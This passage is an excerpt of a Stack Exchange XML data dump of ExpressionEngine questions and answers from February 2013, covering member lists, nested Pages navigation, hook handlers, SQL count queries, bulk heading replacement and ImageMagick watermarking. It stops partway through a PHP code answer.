  <row Id="6259" PostTypeId="2" ParentId="6256" CreationDate="2013-02-12T23:47:06.703" Score="4" Body="&lt;p&gt;I just did this recently with the &lt;a href=&quot;http://devot-ee.com/add-ons/ac-member-list&quot; rel=&quot;nofollow&quot;&gt;AC Member List add-on&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ac_memberlist group_id=&quot;5|6|7&quot;}&#xA;  &amp;lt;h2&amp;gt;{screen_name}&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;li&amp;gt;Username: {username}&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;Name: {screen_name}&amp;lt;/li&amp;gt;&#xA;{/exp:ac_memberlist}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure this is outside of any &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag. I spent hours with that mistake :)&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-02-12T23:47:06.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6260" PostTypeId="2" ParentId="6256" CreationDate="2013-02-12T23:50:50.827" Score="5" Body="&lt;p&gt;You will need to use either a custom query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT * FROM exp_members GROUP BY group_id&quot;}&#xA; tags here&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other option would be to use an add-on such as &lt;a href=&quot;http://www.solspace.com/software/detail/user/&quot;&gt;Solspace User&lt;/a&gt; and their users tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:users} &#xA;  content &#xA;{/exp:user:users} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-02-12T23:50:50.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6261" PostTypeId="1" AcceptedAnswerId="6286" CreationDate="2013-02-13T00:25:43.510" Score="2" ViewCount="192" Body="&lt;p&gt;I have a number of sites using the plain vanilla native 'Pages' module in EE where I would like to output a simple 'child pages' list for pages with children (based on the page_uri).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Pages module itself pages are displayed with nesting so I'm guessing the data is there somewhere - but how to get at it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not adverse to writing a plug-in but could do with some guidance on ow the pages module knows what's a child of what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I think what I'm looking for is an EE2 version of Mark Huots plag-in for the original pages module - &lt;a href=&quot;http://devot-ee.com/add-ons/pages-nested-menu&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/pages-nested-menu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Using the EE1.x &gt; EE2.x upgrade instructions I've managed to get a version of this plug-in working for EE2.x. It's still a little rough around the edges but it's better than nothing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ninefour/pages_nested_menu.pi.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ninefour/pages_nested_menu.pi.ee_addon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2013-02-14T01:57:40.527" LastActivityDate="2013-02-14T01:57:40.527" Title="Output pages module 'nested pages' for navigation?" Tags="|navigation|pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6262" PostTypeId="2" ParentId="6252" CreationDate="2013-02-13T01:58:00.753" Score="0" Body="&lt;p&gt;I believe I ran into something similar before. Here's a few things I would try. Since Profile:Edit utilizes SafeCracker, I would try setting these parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the SafeCracker documentation it says the channel parameter is required.&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#channel&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#channel&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;channel=&quot;[your_profile_edit_channel_name]&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember setting author_only to &quot;yes&quot; did the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;author_only=&quot;yes&quot;&lt;/p&gt;&#xA;" OwnerUserId="931" LastEditorUserId="931" LastEditDate="2013-02-13T02:03:04.710" LastActivityDate="2013-02-13T02:03:04.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6263" PostTypeId="1" AcceptedAnswerId="6288" CreationDate="2013-02-13T02:51:39.103" Score="3" ViewCount="202" Body="&lt;p&gt;I am writing an extension for the hook&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;entry_submission_ready&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see that it has 3 params(meta, data, autosave).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I look at data and I see there is channel data in there and a revision post data index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed that the revision post data contains the old, not updated data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I compared then to the top level data, they are the same. Both also show the updated data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can access the old data? Do I need to use a different hook?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I know if a field value has been changed by edits?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-02-13T08:50:29.753" LastActivityDate="2013-02-13T14:15:50.117" Title="How do I check if a field value has changed in a entry_submission_ready hook handler?" Tags="|hook|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6264" PostTypeId="1" AcceptedAnswerId="6535" CreationDate="2013-02-13T03:09:33.697" Score="1" ViewCount="111" Body="&lt;p&gt;I have a safecracker form that uses a number of third-party fieldtypes. The fieldtypes all require their own external javascript and css files. On what looks like a simple form the combined fields use approximately 30 asset files that add up to around 900 kb which isn't ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good way to optimise this? My current thinking is to use the &lt;code&gt;include_jquery=&quot;no&quot;&lt;/code&gt; and &lt;code&gt;safecracker_head=&quot;no&quot;&lt;/code&gt; parameters and manually include the asset files and combine and minify using &lt;a href=&quot;http://devot-ee.com/add-ons/minimee&quot; rel=&quot;nofollow&quot;&gt;Minimee&lt;/a&gt;. However this isn't ideal as I'll need to reexamine all the assets files whenever an add-on is updated.&lt;/p&gt;&#xA;" OwnerUserId="975" LastEditorUserId="975" LastEditDate="2013-02-13T03:42:53.860" LastActivityDate="2013-02-19T19:06:58.197" Title="How to optimise safecracker js &amp; css" Tags="|safecracker|javascript|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6265" PostTypeId="1" AcceptedAnswerId="6310" CreationDate="2013-02-13T03:59:57.997" Score="2" ViewCount="175" Body="&lt;p&gt;Anyone successfully convert MH file fieldtype that has multiple images to a matrix or similar? I have some entries that have multiple images tied to a single MH file field. I'm in the process of upgrading EE1 to EE2, and fields with just one image are fine, but entries with multiple images have data stored like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;image_1.jpg&#xA;image_2.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've seen these threads for after upgrading to EE2 for &lt;a href=&quot;https://stackoverflow.com/questions/13041491/expressionengine-1-to-expressionengine-2-upgrade-with-ngen-file-field&quot;&gt;nGen file field&lt;/a&gt; and &lt;a href=&quot;http://ellislab.com/forums/viewthread/218268/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MH file field&lt;/a&gt;, but these are specific to single files.&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-03-15T19:42:58.763" Title="How to convert MH File Field's with multiple images?" Tags="|matrix|migration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6266" PostTypeId="1" CreationDate="2013-02-13T04:20:04.440" Score="1" ViewCount="185" Body="&lt;p&gt;After saving an extension's settings, EE by default redirects you to the Extensions landing page. I want to keep the user in the extension settings after saving but also use EE's flashdata.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The below code is in my save_settings method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;set_flashdata('message_success', $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;line('preferences_updated'));&#xA;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect(BASE.AMP.'C=addons_extensions'.AMP.'M=extension_settings'.AMP.'file=my_custom_extension');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why set_flashdata does not seem to work after the redirect where in Module settings this does?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also looked into this help request: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2155/displaying-a-flash-message-after-redirect&quot;&gt;displaying a flash message after redirect&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="931" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-02-13T05:29:03.160" Title="set_flashdata with save_settings for extensions" Tags="|add-on-development|extension|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6267" PostTypeId="2" ParentId="6266" CreationDate="2013-02-13T05:29:03.160" Score="1" Body="&lt;p&gt;To do that you'll have to, I think, create the custom settings form for the extension. Once you have that, you'll also have to run custom processing so you'll have complete control of the redirect. Take a look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html#settings&quot; rel=&quot;nofollow&quot;&gt;extension docs&lt;/a&gt; for details. For a complete example, take a look at the EE Debug Toolbar settings code.  &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2013-02-13T05:29:03.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6268" PostTypeId="1" CreationDate="2013-02-13T05:41:32.330" Score="1" ViewCount="149" Body="&lt;p&gt;ExpressionEngine 2.5.2 site. I can login as me (super admin) and my client (non-super admin) on several browsers on my computer, and from iPad and iPhone via LTE, and my client could login on her old laptop. At the same location on her new laptop, she can't login. I stopped by and couldn't login as me or her on her computer, using IE9 or Chrome. Checked cookies, they are on, and working, but none get set on the Control Panel login page and it reloads the login page with no error. Caches cleared, cookies cleared, browser and computer restarted. I'm puzzled.&lt;/p&gt;&#xA;" OwnerUserId="149" LastEditorUserId="150" LastEditDate="2013-02-14T09:35:33.973" LastActivityDate="2013-02-14T09:35:33.973" Title="Control Panel won't login on one single computer" Tags="|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6269" PostTypeId="1" AcceptedAnswerId="6270" CreationDate="2013-02-13T07:11:30.633" Score="0" ViewCount="138" Body="&lt;p&gt;I have a trainer directory that seemed to be displaying fine but now I have more than 1 entry it will just display the content for &lt;strong&gt;trainer1&lt;/strong&gt; even if im on the page for &lt;strong&gt;trainer2&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;strong&gt;/personal-trainer-directory/trainer3/&lt;/strong&gt; is displaying the content for &lt;strong&gt;/personal-trainer-directory/trainer1/&lt;/strong&gt; even though the URL says &lt;strong&gt;/personal-trainer-directory/trainer3/&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is how i have the template file setup.  It’s a directory template file with Trainer Directory Search, Trainers Page, Gym Directory Search, Gyms Page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 ==&quot;personal-trainer-directory&quot; AND segment_3 ==&quot;&quot;}&#xA;trainer search page&#xA;{if:else}&#xA;trainers page&#xA;{/if}&#xA;&#xA;{if:elseif segment_2 ==&quot;gym-directory&quot; AND segment_3 ==&quot;&quot;}&#xA;gyms search page&#xA;{if:else}&#xA;gyms page&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the code for &lt;strong&gt;trainers page&lt;/strong&gt;: &lt;a href=&quot;http://d.pr/n/OXg0&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/n/OXg0&lt;/a&gt; its a bit long so uploaded to droplr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Been trying to figure this out for a couple hours and a bit stumped&lt;/p&gt;&#xA;" OwnerUserId="941" LastActivityDate="2013-02-13T07:22:09.520" Title="Wrong Entry Being Displayed?" Tags="|channel-entries|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6270" PostTypeId="2" ParentId="6269" CreationDate="2013-02-13T07:22:09.520" Score="4" Body="&lt;p&gt;Unless you are manually coding the url's, you want to remove the &lt;code&gt;dynamic='no'&lt;/code&gt; parameter. This will allow either the &lt;code&gt;entry_id&lt;/code&gt; or &lt;code&gt;url_title&lt;/code&gt; to be used to pull the correct record. Dynamic 'no' overrides that, and requires that you tell the page, where to pull data to display a record entry.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-13T07:22:09.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6271" PostTypeId="1" AcceptedAnswerId="6329" CreationDate="2013-02-13T07:27:02.323" Score="2" ViewCount="185" Body="&lt;p&gt;It seems that changing the values of the $data argument variable doesn't change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change the value of some channel fields inside the &lt;code&gt;entry_submission_ready&lt;/code&gt; hook?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-02-13T08:08:42.240" LastActivityDate="2013-02-14T02:18:26.437" Title="How do I set a field value in entry_submission_ready hook handler?" Tags="|channel|hook|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6272" PostTypeId="2" ParentId="6268" CreationDate="2013-02-13T07:46:38.980" Score="2" Body="&lt;p&gt;Chad, if you are in South Africa (SA?) then I strongly suspect you have an ISP (Telkom) / proxy related problem - something that has given me a few grey hairs in the past. Try setting &quot;Require IP Address and User Agent for Login?&quot; to off under Admin &gt; Security and Sessions and set Control Panel Session Type and User Session Type to cookies only.&lt;/p&gt;&#xA;" OwnerUserId="1003" LastActivityDate="2013-02-13T07:46:38.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6273" PostTypeId="1" CreationDate="2013-02-13T09:52:59.273" Score="0" ViewCount="59" Body="&lt;p&gt;In my DEV-envoronment I can post comments and pagination works. On my production machine not.&#xA;I assume, that I did something wrong, when I used phpMyAdmin to dump the Dev-DB and then uploaded the DB into my Production Server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked around and changed the paths in the Production-DB manually. But I have to admit, since I did this for the first time, that it was a laborious proccess. I saved the templates as files and ftp´ed them onto the Production Server, I moved the DB with phpMyAdmin and then - as mentioned - I went through the CP on the Production-Server to set the paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not very clever, I admit, but now I´m stumped. I turned debuigging on, but I can´t see any issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which tools can I use to figure out, why the comments aren´t posted to the DB. I checked with phpMyAdmin: When I post a comment nothing gets added to the DB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the pagination: This code works on my Dev-machine: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;Seite {current_page} von {total_pages} | blättern: {pagination_links}&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But on the Production machine EE is not executing this code while rendering the page, but just &quot;prints&quot; it out, so that it´s there like a text string. &lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2013-02-13T09:52:59.273" Title="Can´t post comments, have pagination issues - assume Database Probs due to migration from Dev to Production" Tags="|database|pagination|comments|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6274" PostTypeId="1" AcceptedAnswerId="6275" CreationDate="2013-02-13T10:06:01.827" Score="2" ViewCount="198" Body="&lt;p&gt;I've set up shipping methods in Store which have rules of &quot;Country&quot; and &quot;Region&quot; set to &quot;(any)&quot; but when I'm displaying my cart, the shipping costs are not included until the shipping address is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I want to have shipping costs that don't rely on location, would it be possible to make Store apply the shipping costs matching this situation ?&lt;/p&gt;&#xA;" OwnerUserId="614" LastActivityDate="2013-02-13T10:58:31.053" Title="Apply shipping costs calculation before checkout" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6275" PostTypeId="2" ParentId="6274" CreationDate="2013-02-13T10:58:31.053" Score="1" Body="&lt;p&gt;Shipping costs will still be calculated even before your cart has a shipping address (assuming some rules match). Are you sure this isn't just a problem with your template? (e.g. displaying &lt;code&gt;{order_subtotal}&lt;/code&gt; instead of &lt;code&gt;{order_total}&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally even if your shipping costs do depend on a region, you would set a default country and region under Store &gt; Settings &gt; Countries &amp;amp; Regions. This means shipping costs can be calculated before the customer adds their address.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-13T10:58:31.053" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6276" PostTypeId="1" AcceptedAnswerId="6278" CreationDate="2013-02-13T11:06:50.047" Score="1" ViewCount="163" Body="&lt;p&gt;For a while the site editors have been using the wrong HTML headings (to get headings to look &quot;right&quot; instead of asking for the style sheet to be modified).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have hundred of entries (in two specific channels) which we need to go over so headings that have been marked up as H3 are changed to H2, and headings marked up as H4 are changed to H3. The headings are in the body field as part of the main content for the entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an automated way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-02-13T11:51:34.947" Title="Change H3s into H2s + H4s into H3s for entries in specific channels in one-go" Tags="|channel-entries|entries|regular-expressions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6277" PostTypeId="2" ParentId="6237" CreationDate="2013-02-13T11:09:21.297" Score="3" Body="&lt;p&gt;There is no built in way to do this from the Store CP. You would need to edit the orders directly in the database (keep in mind this won't recalculate order totals if you change the items/shipping charges).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to do this would be to write a simple module to let you update the order. I believe someone may already be working on a third party module to let you do this. I've also just added it to our &lt;a href=&quot;https://exp-resso.com/store/support&quot; rel=&quot;nofollow&quot;&gt;feature requests&lt;/a&gt; page, so feel free to add your support.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-13T11:09:21.297" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6278" PostTypeId="2" ParentId="6276" CreationDate="2013-02-13T11:49:28.740" Score="8" Body="&lt;p&gt;Personally, this is where I'd just open &lt;a href=&quot;http://www.sequelpro.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sequel Pro&lt;/a&gt; and run the database queries directly. But if you aren't use to working directly with the database tables or performing SQL queries directly, then ExpressionEngine provides a very simple and easy to use tool. But… &lt;strong&gt;PLEASE BACKUP YOUR DATABASE FIRST&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE2 offers under the &lt;code&gt;Tools&lt;/code&gt; Menu, the Search and Replace Tool.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Y8xD2.png&quot; alt=&quot;Search &amp;amp; Replace Tool&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The type of find you are doing is relatively simple. So basically, you will open the tool: Place&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Search For: &amp;lt;h2&amp;gt;&#xA;Replace With: &amp;lt;h3&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then select which field that you want to do the find and replace on, from the database list&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rTlH8.png&quot; alt=&quot;Search &amp;amp; Replace Options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then perform the search. Now remember you need to do this for opening and closing tags, so don't forget the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Search For: &amp;lt;/h2&amp;gt;&#xA;Replace With: &amp;lt;/h3&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But just do this for each tag you need to replace. In fact, this tool, is perfect for this type of modifications. But it is powerful. So, please &lt;strong&gt;backup&lt;/strong&gt; your database first, in case you &lt;em&gt;select the wrong field, modify a template instead of a field,&lt;/em&gt; etc.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-13T11:49:28.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6279" PostTypeId="2" ParentId="6276" CreationDate="2013-02-13T11:51:34.947" Score="3" Body="&lt;p&gt;Copy the table in the database first, and then use a SQL query to test things out and directly manipulate data in the table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be fairly easy if only straight tags have been used&lt;br&gt;&#xA;e.g. &lt;code&gt;&amp;lt;h3&amp;gt;foobar&amp;lt;/h3&amp;gt;&lt;/code&gt; and not &lt;code&gt;`&amp;lt;h3 class=&quot;x&quot;&amp;gt;goobar&amp;lt;/h3&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be careful in which order you search-replace &lt;code&gt;&amp;lt;/h3&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;h2&amp;gt;&lt;/code&gt; because you don't want to first replace all h4 to h3 and then replace the just replaced h3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Happy Query-ing&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-02-13T11:51:34.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6280" PostTypeId="1" CreationDate="2013-02-13T12:03:51.820" Score="2" ViewCount="94" Body="&lt;p&gt;Ive been using a query to pull in the amount of posts from a given category no problem. But i now want to pull in from a given status but no matter what i try its just not working quite right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code that works without the status..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT count(exp_category_posts.entry_id) AS post_count&#xA;&#xA;FROM exp_category_posts&#xA;&#xA;WHERE cat_id = {category_id}&#xA;&quot;}{post_count}{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And i want to add in the status.. which ive tried with the following, but this isnt quite right, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT count(exp_category_posts.entry_id) AS post_count&#xA;&#xA;FROM exp_category_posts &#xA;&#xA;JOIN exp_channel_entries&#xA;&#xA;WHERE cat_id = '{category_id}' AND status = 'open'&#xA; &quot;}{post_count}{/exp:query} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&#xA;B.&lt;/p&gt;&#xA;" OwnerUserId="1005" LastActivityDate="2013-02-13T12:27:18.603" Title="Adding status to a query not working" Tags="|categories|query|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6281" PostTypeId="2" ParentId="6280" CreationDate="2013-02-13T12:27:18.603" Score="5" Body="&lt;p&gt;A &lt;code&gt;JOIN&lt;/code&gt; requires an &lt;code&gt;ON&lt;/code&gt; clause too. Also, it's &lt;code&gt;exp_channel_titles&lt;/code&gt;, not &lt;code&gt;exp_channel_entries&lt;/code&gt;. Try this on for size as the &lt;code&gt;sql&lt;/code&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT COUNT(cp.entry_id) AS post_count&#xA;FROM exp_category_posts cp&#xA;JOIN exp_channel_titles t&#xA;ON cp.entry_id = t.entry_id&#xA;WHERE t.status IN ('Open', 'open')&#xA;AND cp.cat_id = '{category_id}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to add more statuses to the list, just add them inside the brackets, ie &lt;code&gt;('Open', 'open', 'draft', 'foo')&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-02-13T12:27:18.603" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6282" PostTypeId="2" ParentId="6240" CreationDate="2013-02-13T13:27:36.810" Score="0" Body="&lt;p&gt;Okay, at long last, my site appears to be working correctly. I corresponded with our web host, and they told me that I did not in fact have to include the &quot;/~user&quot; on the URL's for the site. I removed that and my previously broken pages are now loading correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I was using a base URL of the form: &lt;code&gt;http://numericIP/~user/&lt;/code&gt; (as specified in the welcome email for the hosting account)&#xA;but should have been using &lt;code&gt;http://numericIP/&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you, everyone, for your efforts to help!&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2013-02-13T13:27:36.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6283" PostTypeId="1" CreationDate="2013-02-13T13:38:26.473" Score="1" ViewCount="351" Body="&lt;p&gt;I have a rather unique problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using EE to apply Watermarks to images on Upload &amp;amp; EE is using GD2 for doing this, which coincidentally is &quot;washing-away&quot; the rich colors of the original uploaded image. &lt;strong&gt;What we would like for EE to do is use ImageMagick to apply Watermarks.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've reported this as a Bug on EE and we've received some thoughts on it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;EE won't be looking into this anytime soon&lt;/li&gt;&#xA;&lt;li&gt;There's a way to achieve this manually&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Specific Question:&lt;/strong&gt; Has anyone found a solution to this problem? —If not, anyone with a knowledge on how to go about this (especially EE's support suggestion from my discussion with them below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19036&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19036&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2013-02-13T14:24:48.927" Title="Watermark using ImageMagick" Tags="|image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6285" PostTypeId="2" ParentId="6283" CreationDate="2013-02-13T13:46:47.513" Score="1" Body="&lt;p&gt;You have three options here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You can hack your core EE files &amp;amp; change the PHP code to use Imagick rather than GD2 when doing watermarks. This may be the quickest code fix, but you'd have to track your changes to those core files whenever you do upgrades or troubleshoot issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) You can write your own, simple plugin that takes an image as a parameter and processes it with Imagick to your satisfaction, returning the new image that you've saved to the filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) You can see if &lt;a href=&quot;http://devot-ee.com/add-ons/ce-image&quot; rel=&quot;nofollow&quot;&gt;CE Image&lt;/a&gt; - a fantastic add-on I've relied on in multiple projects - does a better job. &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#watermark&quot; rel=&quot;nofollow&quot;&gt;It does support adding watermarks&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; I'm guessing you'll start in &lt;code&gt;system/codeigniter/system/libraries/Image_lib.php&lt;/code&gt; for #1.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-13T14:24:48.927" LastActivityDate="2013-02-13T14:24:48.927" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="6286" PostTypeId="2" ParentId="6261" CreationDate="2013-02-13T14:05:50.890" Score="1" Body="&lt;p&gt;A plugin is definitely required here. Unfortunately, the Pages module doesn't store data in a hierarchical format, and the logic used in the module control panel is not ideal for use as a plugin (as you need a properly nested array for that). So you're starting from scracth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here's something to get you started: all pages are stored in &lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('site_pages')&lt;/code&gt;, as an array with site_ids as keys, and then further arrays with entry_ids as keys and page URIs as values. So you'll need to query the titles for each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some quick starter code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pages = $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('site_pages');&#xA;if ($pages === FALSE OR 